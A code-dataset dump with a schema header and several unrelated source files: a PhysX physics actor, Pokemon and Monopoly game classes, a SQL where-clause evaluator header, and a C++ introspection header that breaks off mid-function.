blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 2
247
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 4
111
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
58
| visit_date
timestamp[ns]date 2015-07-25 18:16:41
2023-09-06 10:45:08
| revision_date
timestamp[ns]date 1970-01-14 14:03:36
2023-09-06 06:22:19
| committer_date
timestamp[ns]date 1970-01-14 14:03:36
2023-09-06 06:22:19
| github_id
int64 3.89k
689M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 25
values | gha_event_created_at
timestamp[ns]date 2012-06-07 00:51:45
2023-09-14 21:58:52
⌀ | gha_created_at
timestamp[ns]date 2008-03-27 23:40:48
2023-08-24 19:49:39
⌀ | gha_language
stringclasses 159
values | src_encoding
stringclasses 34
values | language
stringclasses 1
value | is_vendor
bool 1
class | is_generated
bool 2
classes | length_bytes
int64 7
10.5M
| extension
stringclasses 111
values | filename
stringlengths 1
195
| text
stringlengths 7
10.5M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
7a4c10bd8ed8cd810a3ca4ba5c984d4a7db0ddec
|
a35b30a7c345a988e15d376a4ff5c389a6e8b23a
|
/boost/icl/type_traits/is_interval_container.hpp
|
a218762d00fa1f763ecad2e47cb654e05a20d05c
|
[] |
no_license
|
huahang/thirdparty
|
55d4cc1c8a34eff1805ba90fcbe6b99eb59a7f0b
|
07a5d64111a55dda631b7e8d34878ca5e5de05ab
|
refs/heads/master
| 2021-01-15T14:29:26.968553
| 2014-02-06T07:35:22
| 2014-02-06T07:35:22
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 83
|
hpp
|
is_interval_container.hpp
|
#include "thirdparty/boost_1_55_0/boost/icl/type_traits/is_interval_container.hpp"
|
4f8f674b1b3849974022c8c2f74eabc8962882c3
|
e2d0684b32fdaeef050cca038f6cc68375227096
|
/Engine/Source/Physics/PhysicsActor.cpp
|
1cc2521a6471e9ef8e1eba2094dcb2a17dfc5e7f
|
[] |
no_license
|
wdrDarx/DEngine2
|
d6b3854e7f22a38e2c99c62e1f8ce6910e6763c6
|
e86790ddfdc9334887477df5dfbf77797e68354b
|
refs/heads/main
| 2023-08-23T21:52:19.057167
| 2021-10-17T17:51:55
| 2021-10-17T17:51:55
| 387,153,879
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 12,600
|
cpp
|
PhysicsActor.cpp
|
#include "PhysicsActor.h"
#include "PhysicsWorld.h"
#include "PhysXAPI.h"
#include "PhysicsLayer.h"
#include "DEngine.h"
#include <glm/gtx/compatibility.hpp>
PhysicsActor::PhysicsActor(PhysicsScene* physicsScene) : m_PhysicsScene(physicsScene)
{
}
PhysicsActor::~PhysicsActor()
{
for (auto& collider : m_Colliders)
{
collider->DetachFromActor(GetPhysXActor());
collider->Release();
}
GetPhysicsScene()->GetPhysXScene()->removeActor(*GetPhysXActor());
GetPhysXActor()->release();
m_RigidActor = nullptr;
}
float PhysicsActor::GetMass() const
{
return !IsDynamic() ? m_Mass : GetPhysXActor()->is<physx::PxRigidDynamic>()->getMass();
}
void PhysicsActor::SetMass(float mass)
{
if (!IsDynamic())
{
LogWarning("Cannot set mass of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsAPI()->setMassAndUpdateInertia(*actor, mass);
m_Mass = mass;
}
void PhysicsActor::AddForce(const vec3d& force, ForceMode forceMode)
{
if (!IsDynamic())
{
LogWarning("Trying to add force to non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->addForce(PhysicsUtils::ToPhysXVector(force), (physx::PxForceMode::Enum)forceMode);
}
void PhysicsActor::AddTorque(const vec3d& torque, ForceMode forceMode)
{
if (!IsDynamic())
{
LogWarning("Trying to add torque to non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->addTorque(PhysicsUtils::ToPhysXVector(torque), (physx::PxForceMode::Enum)forceMode);
}
vec3d PhysicsActor::GetLinearVelocity() const
{
if (!IsDynamic())
{
LogWarning("Trying to get velocity of non-dynamic PhysicsActor.");
return vec3d(0.0f);
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
return PhysicsUtils::FromPhysXVector(actor->getLinearVelocity());
}
void PhysicsActor::SetLinearVelocity(const vec3d& velocity)
{
if (!IsDynamic())
{
LogWarning("Trying to set velocity of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setLinearVelocity(PhysicsUtils::ToPhysXVector(velocity));
}
vec3d PhysicsActor::GetAngularVelocity() const
{
if (!IsDynamic())
{
LogWarning("Trying to get angular velocity of non-dynamic PhysicsActor.");
return vec3d(0.0f);
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
return PhysicsUtils::FromPhysXVector(actor->getAngularVelocity());
}
void PhysicsActor::SetAngularVelocity(const vec3d& velocity)
{
if (!IsDynamic())
{
LogWarning("Trying to set angular velocity of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setAngularVelocity(PhysicsUtils::ToPhysXVector(velocity));
}
float PhysicsActor::GetMaxLinearVelocity() const
{
if (!IsDynamic())
{
LogWarning("Trying to get max linear velocity of non-dynamic PhysicsActor.");
return 0.0f;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
return actor->getMaxLinearVelocity();
}
void PhysicsActor::SetMaxLinearVelocity(float maxVelocity)
{
if (!IsDynamic())
{
LogWarning("Trying to set max linear velocity of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setMaxLinearVelocity(maxVelocity);
}
float PhysicsActor::GetMaxAngularVelocity() const
{
if (!IsDynamic())
{
LogWarning("Trying to get max angular velocity of non-dynamic PhysicsActor.");
return 0.0f;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
return actor->getMaxAngularVelocity();
}
void PhysicsActor::SetMaxAngularVelocity(float maxVelocity)
{
if (!IsDynamic())
{
LogWarning("Trying to set max angular velocity of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setMaxAngularVelocity(maxVelocity);
}
void PhysicsActor::SetLinearDrag(float drag) const
{
if (!IsDynamic())
{
LogWarning("Trying to set linear drag of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setLinearDamping(drag);
}
void PhysicsActor::SetAngularDrag(float drag) const
{
if (!IsDynamic())
{
LogWarning("Trying to set angular drag of non-dynamic PhysicsActor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setAngularDamping(drag);
}
vec3d PhysicsActor::GetKinematicTargetPosition() const
{
if (!IsKinematic())
{
LogWarning("Trying to set kinematic target for a non-kinematic actor.");
return vec3d(0.0f, 0.0f, 0.0f);
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
physx::PxTransform target;
actor->getKinematicTarget(target);
return PhysicsUtils::FromPhysXVector(target.p);
}
vec3d PhysicsActor::GetKinematicTargetRotation() const
{
if (!IsKinematic())
{
LogWarning("Trying to set kinematic target for a non-kinematic actor.");
return vec3d(0.0f, 0.0f, 0.0f);
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
physx::PxTransform target;
actor->getKinematicTarget(target);
return World::QuatToRotationDegrees(PhysicsUtils::FromPhysXQuat(target.q));
}
void PhysicsActor::SetKinematicTarget(const vec3d& targetPosition, const vec3d& targetRotation) const
{
if (!IsKinematic())
{
LogWarning("Trying to set kinematic target for a non-kinematic actor.");
return;
}
physx::PxRigidDynamic* actor = GetPhysXActor()->is<physx::PxRigidDynamic>();
ASSERT(actor);
actor->setKinematicTarget(PhysicsUtils::ToPhysXTransform(targetPosition, targetRotation));
}
void PhysicsActor::SetSimulationData(uint MyLayerID)
{
physx::PxFilterData filterData;
filterData.word0 = BIT(MyLayerID + 1); //my layer (+1 because blocking and overlapping are bitmasks and for example layer 0 would translate into no collision)
filterData.word1 = m_BlockingLayers; //what layers i block
filterData.word2 = m_OverlappingLayers; //what layers i overlap
filterData.word3 = (uint)m_CollisionDetectionType; //my collision mode
for (auto& collider : m_Colliders)
collider->SetFilterData(filterData);
}
void PhysicsActor::SetKinematic(bool isKinematic)
{
if (!IsDynamic())
{
LogWarning("Static PhysicsActor can't be kinematic.");
return;
}
m_IsKinematic = isKinematic;
GetPhysXActor()->is<physx::PxRigidDynamic>()->setRigidBodyFlag(physx::PxRigidBodyFlag::eKINEMATIC, isKinematic);
}
void PhysicsActor::SetGravityEnabled(bool enabled)
{
GetPhysXActor()->setActorFlag(physx::PxActorFlag::eDISABLE_GRAVITY, !enabled);
}
void PhysicsActor::SetLockFlag(ActorLockFlag flag, bool value)
{
if (value)
m_LockFlags |= (uint32_t)flag;
else
m_LockFlags &= ~(uint32_t)flag;
if (!IsDynamic())
return;
GetPhysXActor()->is<physx::PxRigidDynamic>()->setRigidDynamicLockFlag(PhysicsUtils::ToPhysXActorLockFlag(flag), value);
}
#if CHANGE_TYPE_AT_RUNTIME
void PhysicsActor::SetBodyType(RigidBodyType type)
{
if (type == m_BodyType)
return;
//copy all actor data into a new one
auto sdk = GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsAPI()->GetPhysXSDK();
physx::PxTransform transform = GetPhysXActor()->getGlobalPose();
physx::PxRigidActor* actor = nullptr;
if (type == RigidBodyType::Static)
{
actor = sdk->createRigidStatic(transform);
actor->setActorFlags(GetPhysXActor()->getActorFlags());
actor->userData = GetPhysXActor()->userData;
// Copy Shapes
uint shapeCount = GetPhysXActor()->getNbShapes();
physx::PxShape** shapes = new physx::PxShape * [shapeCount];
GetPhysXActor()->getShapes(shapes, shapeCount);
for (uint i = 0; i < shapeCount; i++)
{
actor->attachShape(*shapes[i]);
GetPhysXActor()->detachShape(*shapes[i]);
}
}
else
{
const PhysicsSettings& settings = GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsSettings();
physx::PxRigidDynamic* dynamicActor = sdk->createRigidDynamic(transform);
dynamicActor->setLinearDamping(1.0f);
dynamicActor->setAngularDamping(1.0f);
dynamicActor->setSolverIterationCounts(settings.SolverIterations, settings.SolverVelocityIterations);
dynamicActor->setActorFlags(GetPhysXActor()->getActorFlags());
dynamicActor->userData = GetPhysXActor()->userData;
// Copy Shapes
uint shapeCount = GetPhysXActor()->getNbShapes();
physx::PxShape** shapes = new physx::PxShape * [shapeCount];
GetPhysXActor()->getShapes(shapes, shapeCount);
for (uint i = 0; i < shapeCount; i++)
{
dynamicActor->attachShape(*shapes[i]);
GetPhysXActor()->detachShape(*shapes[i]);
}
dynamicActor->setMass(GetMass());
actor = dynamicActor;
}
GetPhysXActor()->release();
m_RigidActor = actor;
}
#endif
void PhysicsActor::SetPosition(const vec3d& pos)
{
physx::PxTransform transform = GetPhysXActor()->getGlobalPose();
transform.p = PhysicsUtils::ToPhysXVector(pos);
GetPhysXActor()->setGlobalPose(transform);
}
void PhysicsActor::SetRotation(const vec3d& rot)
{
physx::PxTransform transform = GetPhysXActor()->getGlobalPose();
transform.q = PhysicsUtils::ToPhysXQuat(World::RotationDegreesToQuat(rot));
GetPhysXActor()->setGlobalPose(transform);
}
void PhysicsActor::CallOnHit(const HitResult& hit)
{
PhysicsActorEvent event;
event.EventType = PhysicsActorEventType::ONHIT;
event.Hit = hit;
m_EventDispatcher.Dispatch(event);
}
void PhysicsActor::CallOnBeginOverlap(const HitResult& hit)
{
PhysicsActorEvent event;
event.EventType = PhysicsActorEventType::ONBEGINOVERLAP;
event.Hit = hit;
m_EventDispatcher.Dispatch(event);
}
void PhysicsActor::CallOnEndOverlap(const HitResult& hit)
{
PhysicsActorEvent event;
event.EventType = PhysicsActorEventType::ONENDOVERLAP;
event.Hit = hit;
m_EventDispatcher.Dispatch(event);
}
void PhysicsActor::BindOnHit(Callback<PhysicsActorEvent>& callback)
{
m_EventDispatcher.Bind(callback);
m_RecieveCollisionCallbacks = true;
}
void PhysicsActor::BindOnBeginOverlap(Callback<PhysicsActorEvent>& callback)
{
m_EventDispatcher.Bind(callback);
m_RecieveCollisionCallbacks = true;
}
void PhysicsActor::BindOnEndOverlap(Callback<PhysicsActorEvent>& callback)
{
m_EventDispatcher.Bind(callback);
m_RecieveCollisionCallbacks = true;
}
void PhysicsActor::SetCollisionDetectionType(const CollisionDetectionType& type)
{
GetPhysXActor()->is<physx::PxRigidDynamic>()->setRigidBodyFlag(physx::PxRigidBodyFlag::eENABLE_CCD, type == CollisionDetectionType::Continuous);
GetPhysXActor()->is<physx::PxRigidDynamic>()->setRigidBodyFlag(physx::PxRigidBodyFlag::eENABLE_SPECULATIVE_CCD, type == CollisionDetectionType::ContinuousSpeculative);
m_CollisionDetectionType = type;
}
void PhysicsActor::BindOnAdvance(Callback<PhysicsActorEvent>& callback)
{
m_EventDispatcher.Bind(callback);
}
void PhysicsActor::OnAdvance()
{
PhysicsActorEvent event;
event.EventType = PhysicsActorEventType::ONADVANCE;
m_EventDispatcher.Dispatch(event);
}
void PhysicsActor::CreateRigidActor(const Transform& WorldTransform)
{
if(!m_PhysicsScene) return;
auto sdk = GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsAPI()->GetPhysXSDK();
GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsAPI()->Load();
if (m_BodyType == RigidBodyType::Static)
{
m_RigidActor = sdk->createRigidStatic(PhysicsUtils::ToPhysXTransform(WorldTransform));
}
else
{
const PhysicsSettings& settings = GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsSettings();
m_RigidActor = sdk->createRigidDynamic(PhysicsUtils::ToPhysXTransform(WorldTransform));
SetLockFlag(ActorLockFlag::PositionX, false);
SetLockFlag(ActorLockFlag::PositionY, false);
SetLockFlag(ActorLockFlag::PositionZ, false);
SetLockFlag(ActorLockFlag::RotationX, false);
SetLockFlag(ActorLockFlag::RotationY, false);
SetLockFlag(ActorLockFlag::RotationZ, false);
GetPhysXActor()->is<physx::PxRigidDynamic>()->setSolverIterationCounts(settings.SolverIterations, settings.SolverVelocityIterations);
SetMass(100.f);
}
//default layer is 1
if (!GetPhysicsScene()->GetPhysicsWorld()->GetPhysicsLayerManager()->IsLayerValid(GetCollisionLayer()))
SetCollisionLayer(1);
GetPhysXActor()->userData = this;
}
|
a52ccb014bab5dfcd2de1ebcdf27785f1cdb111e
|
483e8c3fd98536fa17f9a0a41923f60e2a79d55a
|
/sources/src/spatial/objet/Navette.h
|
5aaa949452d41ae7d68db16df9d0a0b97aad2f3d
|
[] |
no_license
|
Shailla/jeukitue.moteur
|
b9ff6f13188fb59d6b8d2ea8cde35fc7d95dd3dd
|
acc996f240699b5ec9c6162e56c5739f86a335a5
|
refs/heads/master
| 2020-05-22T04:20:33.298261
| 2014-11-20T22:20:43
| 2014-11-20T22:40:11
| 34,282,766
| 0
| 0
| null | null | null | null |
ISO-8859-1
|
C++
| false
| false
| 2,303
|
h
|
Navette.h
|
#ifndef __JKT__NAVETTE_H
#define __JKT__NAVETTE_H
#include <vector>
using namespace std;
#include "spatial/Mouve.h"
#include "util/V3D.h"
class CGame;
namespace JktMoteur
{
class CMap;
class CIstreamMap;
class CPointNavette
{
public:
static const char* identifier;
float m_Vitesse; // Vitesse de la navette à partir de ce point
JktUtils::CV3D m_Position; // Position de ce point du trajet de la navette
CPointNavette( const CPointNavette& pp );
CPointNavette();
~CPointNavette();
void operator =( const CPointNavette &pp );
void LitFichierPoint( CIfstreamMap &fichier );
void SaveFichierPoint( ostream &fichier );
void SavePoint(TiXmlElement* element);
};
class CNavette:public CGeoObject, public CMouve
{
vector<CPointNavette> m_ListePoints; // Liste des points sur le trajet de la navette
JktUtils::CV3D m_Direction; // Direction courante de la navette
int m_Point; // Point du trajet à utiliser
float m_distPoints; // Distance entre les deux points courants
float m_Vitesse; // Vitesse courante de la navette
float m_Deplacement; // Déplacement relatif courant de la navette
JktUtils::CV3D m_Position; // Position courante de la navette à partir du point courant intermédiaire
int prochainPoint( int i ); // Prends le prochain point du trajet et calcule les paramètres
public:
static const char* identifier;
CNavette( CMap *map );
~CNavette();
void Init(); // Initialisation de l'objet géométrique
void Affiche(); // Fonction d'affichage de l'objet géométrique
void Refresh( CGame *game ); // Rafraichissement des données, position, vitesse, ... de l'objet
bool Lit(TiXmlElement* el) {return true;}
//bool LitFichier( CIfstreamMap &fichier ); // Lit un objet géo dans un fichier Map
//void LitFichierNavette( CIfstreamMap &fichier ); // Lit un objet géo dans un fichier Map
//bool SaveNameType( ofstream &fichier ); // Sauve le nom du type d'objet dans le fichier
//bool SaveFichierMap( ofstream &fichier ); // Sauve l'objet géo dans un fichier Map
bool Save(TiXmlElement* element);
float GereLaserPlayer(float pos[3], JktUtils::CV3D &Dir, float dist);
void GereContactPlayer(float positionPlayer[3], CPlayer *player);
};
} // JktMoteur
#endif
|
33fc2d764fa7a70a9ba3a2f350ff5c0ebc6050e9
|
c95d1027e178b616e8fb785c321b65a82cf18455
|
/goose.cc
|
9ec8966d98c578595a01333964349e125da5e147
|
[] |
no_license
|
ShiqinRan/Watopoly
|
b9fdca18fcb3f1f66b75d4121aa872abb5cfa2e3
|
bc72390e1bea76514017f6892b9a9f8ee86871e2
|
refs/heads/master
| 2020-06-14T20:42:58.199142
| 2019-07-04T18:54:45
| 2019-07-04T18:54:45
| 195,119,454
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 424
|
cc
|
goose.cc
|
#include "goose.h"
#include "player.h"
using namespace std;
Goose::Goose(string name, Xwindow *w): Cell{name, w} {}
void Goose::landOn(Player *p) {
cout << p->getName() << " Is Attackted by a goose" << endl;
}
CellType Goose::cType(){
return CellType::Non_Property;
}
void Goose::draw(int x, int y, int color) {
w->fillRectangle(x * 50, y * 70, 50, 70, color);
w->drawString(x * 50, y * 70 + 15, getName());
}
|
3e64e55f796b8112de374756bedf12f3140e2637
|
2881f513e776c6edcada55f8f6b929586dd75afa
|
/cse20212make/Pokemon.h
|
122d57a29dfa5ace3aa19d51738d9f2ddae3502f
|
[] |
no_license
|
ahansen3/Cse20212
|
8cb74789e93d722b712eec01f42a1d50db820839
|
00558b683e7de6efd6e38ee2af9b5c77c0188f1b
|
refs/heads/master
| 2021-01-21T11:46:51.885183
| 2014-05-01T02:31:46
| 2014-05-01T02:31:46
| 17,455,439
| 0
| 1
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,501
|
h
|
Pokemon.h
|
/* Pokemon Project
Alex Hansen
Pokemon.h
Pokemon Class.
Pokemon Object
Stores all the attributes of a pokemon, getter/setter functions for the proper values, and some interaction functions
*/
#ifndef POKEMON_H
#define POKEMON_H
#include <stdlib.h>
#include <iostream>
#include <string>
#include "Location.h"
#include "Sprite.h"
#include <string>
#include <vector>
#include "Move.h"
#include "Type.h"
using namespace std;
class Pokemon
{
public:
Pokemon(); //blank pokemon object
Pokemon(int, int, int, int, int, int, Sprite ,Sprite , string, int, int, int, int, int, Type, Type); //atk, def, HP, spAtk, spDef, speed, user Sprite, opp Sprite, string name, lvl, nextlevlXP, isWild, evolvelvl, Type1, Type2. Creates an object with the given attributes
string getName(); //returns the name
int getAtk(); //returns the atk
int getDef(); //returns the def
int getHP(); //returns the hp
int getSpAtk(); //returns the spatk
int getSpDef(); //returns the spdef
int getSpeed(); //returns the speed
Sprite getUserSprite(); //get user pokemon sprite
Sprite getOppSprite(); //get opponent pokemon sprite
int isWild(); //returns if it is a wild pokemon
int getLevel(); //returns the lvl
int getXP(); //returns the xp
int getNextLevelXP(); //returns the nextlvlxp
int getEvolveLevel(); //returns the evolvelvl
void setName(string); //sets the name to the passed in value
void setAtk(int); //sets the atk to the passed in value
void setDef(int); //sets the def to the passed in value
void setHP(int); //sets the hp to the passed in value
void setSpAtk(int); //sets the spatk to the passed in value
void setSpDef(int); //sets the spdef to the passed in value
void setSpeed(int); //sets the speed to the passed in value
void setUserSprite(Sprite); //sets the userimage to the passed in value
void setOppSprite(Sprite); //sets the oppimage to the passed in value
void setWild(int); //sets if the pokemon is wild
void setLevel(int); //sets the lvl to the passed in value
void setXP(int); //sets the xp to the passed in value, changes level accordingly
void setNextLevelXP(int); //sets the nextlvlxp to the passed in value
void setEvolveLevel(int); //sets the evolvelvl to the passed in value
void levelUp(); //increments the level, adn checks eveolve accordingly
void evolve(); //evolves the pokemon
void heal(); //heals the pokemons hp to its max
vector<Move> getMoves(); //returns the vecotr of moves
Move getMove(int); //gets the moved stored at that index
void addMove(Move); //adds a move the pokemon
vector<Type> getType(); //returns a vector of the types that the pokemon is
void setType(Type, Type); //sets the pokemons types the the two parameters
void battlePrint(); //prints the pokemon in such a way the user can unserstand it and help the user see their options in battle
void oppPrint(); //pritns the pokemon in such a way that the user can see only minimum info
int getMaxHP(); //returns the maxHP of the pokemon
void setMaxHP(int); //sets teh maxHP to the passed in value
void useMove(Pokemon*, int, double); //uses the move indexed by the int onto the pokemon passed, the double is the move strength agaisnt the pokemon
int battleEXP(); //returns the battlexp
//void useMove(Move m);
//Type getType();
//Item getEquipped();
private:
//Item equipped;
int my_index; //stores the index of the pokemon
int my_Atk; //stores the value of the atk
int my_Def; //stores the value of the def
int my_HP; //stores the value of the hp
int my_SpAtk; //stores the value of the spatk
int my_SpDef; //stores the value of the spdef
int my_speed; //stores the value of the speed
string my_name; //stores the value of the name
Sprite user_image; //stores the value of the user image
Sprite opp_image; //stores the value of the opp image
int my_level; //stores the value of the lvl
int my_XP; //stores the value of the xp
int my_nexLvlXP; //stores the value how much xp it takes to reach the next lvl
int my_wild; //stores if the pokemon is wild
int my_evolveLvl; //stores the value of the evolve lvl
int my_maxHP; //stores the value of the maxHP
vector<Move> my_moves; //stores a vector of all the moves the pokemon knows
vector<Type> my_types; //stores a vector of types that the pokemon is
double my_multFact; //stores the value of the multFact, used to determine stats at each lvl
int my_battleXP; //stores the value of how much xp one would gain for defeating this pokemon
};
#endif
|
12ab0ce27057b9b46a5c3da677ec2cd80d986d5f
|
479e7546840d7d201d98cff7689c81617e804d6d
|
/whereEval.h
|
fc5a368af5772e2478bd02fc081a06b85103093c
|
[] |
no_license
|
tekale2/Tiny-SQL-DBMS
|
467f1b0859fe0e1166941a1d3bdb8d24e54b5938
|
aaf6553704abb8b20d8c17fa2f388c989be7e833
|
refs/heads/master
| 2021-08-23T07:04:10.947762
| 2017-12-04T02:06:32
| 2017-12-04T02:06:32
| 110,429,447
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 897
|
h
|
whereEval.h
|
#ifndef _WHERE_EVAL_H
#define _WHERE_EVAL_H
#include <string>
#include <unordered_map>
#include <unordered_set>
#include <utility>
#include <vector>
#include "./StorageManager/Field.h"
using namespace std;
class CondEval
{
private:
vector<string> postfix;
unordered_set<string> ops;
unordered_map<string, enum FIELD_TYPE> columnType;
void infixToPostfix(string cond);
public:
CondEval();
void intialize(string cond, unordered_map<string, enum FIELD_TYPE> colType);
bool evaluate(unordered_map<string, Field> &colValues);
};
vector<string> getVarsInwhere(string &whereString, unordered_set<string> &allColumnSet);
void splitByAndPopulate(string &whereString, unordered_set<string> &allColumnSet,\
unordered_map<string,unordered_set<string>> &whereSplit);
string getWhere(unordered_map<string,unordered_set<string>> &whereSplit, \
unordered_set<string> &currJoinedTables);
#endif
|
214f6596f2c4fae8cb334739987f38f03cd10f8c
|
dba17c545c97f1135536a4e3348430654a589438
|
/reflective/introspect.hpp
|
5fb6494ac0ff67a26deaaa75af33cc7c32a1588f
|
[] |
no_license
|
tim42/reflective
|
de714db3df80547d167404a47805cc8142cea130
|
bbae865309a74611351fd48b859452d30138816e
|
refs/heads/master
| 2020-04-07T02:24:27.228357
| 2017-01-23T22:20:22
| 2017-01-23T22:20:22
| 50,803,668
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 13,889
|
hpp
|
introspect.hpp
|
//
// file : introspect.hpp
// in : file:///home/tim/projects/reflective/reflective/introspect.hpp
//
// created by : Timothée Feuillet on linux-vnd3.site
// date: 31/01/2016 14:00:13
//
//
// Copyright (C) 2016 Timothée Feuillet
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
#ifndef __N_468510512048024221_1859630211__INTROSPECT_HPP__
# define __N_468510512048024221_1859630211__INTROSPECT_HPP__
#include <cstdint>
#include <vector>
#include "tools/embed.hpp"
#include "storage.hpp"
#include "reason.hpp"
#include "call_info_struct.hpp"
#include "type.hpp"
#include "id_gen.hpp"
namespace neam
{
namespace r
{
class function_call;
/// \brief The main class for introspection
/// \see function_call
/// \see function_call::get_introspect()
class introspect
{
private:
introspect(internal::call_info_struct &_call_info, size_t index, internal::stack_entry *_context)
: call_info_index(index), call_info(&_call_info), global(internal::get_global_data()), context(_context)
{
}
public:
/// \brief Construct a function call object
/// \see N_FUNCTION_INFO
/// \code neam::r::introspect info(N_FUNCTION_INFO(my_function)); \endcode
/// \throw std::runtime_error if the function is not found
template<typename FuncType, FuncType Func>
introspect(const func_descriptor &d, neam::embed::embed<FuncType, Func>)
: call_info_index(0), call_info(&internal::get_call_info_struct<FuncType, Func>(d, &call_info_index, true)),
global(internal::get_global_data())
{
}
/// \brief Construct a function call object for a [?]
/// \note this is "slower" than normal functions 'cause the hash is computed at runtime (but it have a cache for call_info_index results)
/// \throw std::runtime_error if the function is not found
template<typename FuncType>
introspect(const func_descriptor &d, internal::type<FuncType>)
: call_info_index(0), call_info(&internal::get_call_info_struct<FuncType>(d, &call_info_index, true)),
global(internal::get_global_data())
{
}
/// \brief Allow you to query at runtime arbitrary functions or methods
/// \note This is the \b ONLY recommended constructor: the other are \b NOT guaranteed to work as they can rely on information unavailable in the current context for the user
/// \note this is slower (no hash computed (a slower search is done), no cache), but this allows more possibilities
/// \param[in] name The name of the function plus all the namespaces encapsulating it (like: "neam::r::introspect::common_init")
/// \throw std::runtime_error if the function is not found
/// \note that create a context-free introspect object (that can be latter contextualized)
explicit introspect(const char *const name) : introspect(func_descriptor {name}, internal::type<void>()) {}
/// \brief Copy constructor (no move constructor, 'cause it wouldn't improve anything)
introspect(const introspect &o);
/// \brief Copy operator
introspect &operator = (const introspect &o);
// ---- // Things that interact with the callgraph // ---- //
/// \brief Reset the gathered statistics for this particular function
/// \note slow, as it has to iterate over ALL the callgraph
/// \note As its name implies it, this is a destructive operation
void reset();
/// \brief Walks the callgraph to provide the callee list (the list of function that are called by this one)
/// \note As "walk" can induce it, it's a quite slow operation
/// \note The returned introspect ARE contextualized
/// \note If this method is called on a contextualized introspect, it will only retrieve the "local" callees, and this is much faster than the other thing
std::vector<introspect> get_callee_list() const;
/// \brief Walks the callgraph to retrieve the caller list (the list of function that call this one)
/// \note As "walk" can induce it, it's a quite slow operation
/// \note The returned introspect ARE contextualized
/// \note If this method is called on a contextualized introspect, it will only retrieve the "local" callers, and this is VERY much faster than the other thing
std::vector<introspect> get_caller_list() const;
/// \brief Return the list of root functions (like, main(), the functions used to start threads, ...)
/// \note this is a static function, yo.
static std::vector<introspect> get_root_function_list();
// ---- // operations/getters on the method/function // ---- //
/// \brief Return whether or not a context is in use or not
inline bool is_contextual() const
{
return context != nullptr;
}
/// \brief Remove the context
inline void remove_context()
{
context = nullptr;
}
/// \brief Return a copy without the context
introspect copy_without_context() const
{
return introspect(*call_info, call_info_index, nullptr);
}
/// \brief Set the context for this introspect object
/// \param[in] caller MUST be a caller (as returned by get_caller_list()) and it MUST be contextualized.
/// \return true if it's OK, false otherwise
/// \note You can't contextualize root functions (as they haven't any callers).
/// The only way to do get a contextualized root is to retrieve it with get_root_function_list()
bool set_context(const introspect &caller);
/// \brief If this function returns false, results can be safely discarded
/// It is based on the number of time the function has been called
/// \note The return value is indicative only, BUT as it expect a minimum of 5 call, herm, I suppose that is a real strict minimum
inline bool is_faithfull() const
{
if (context)
return context->hit_count >= 5;
return call_info->call_count >= 5;
}
/// \brief Return the number of time the function has been called
inline size_t get_call_count() const
{
if (context)
return context->hit_count;
return call_info->call_count;
}
/// \brief Return the number of time the function has failed
inline size_t get_failure_count() const
{
if (context)
return context->fail_count;
return call_info->fail_count;
}
/// \brief Return the pretty name (if available, else, fall back to the crappy name)
const std::string &get_pretty_name() const
{
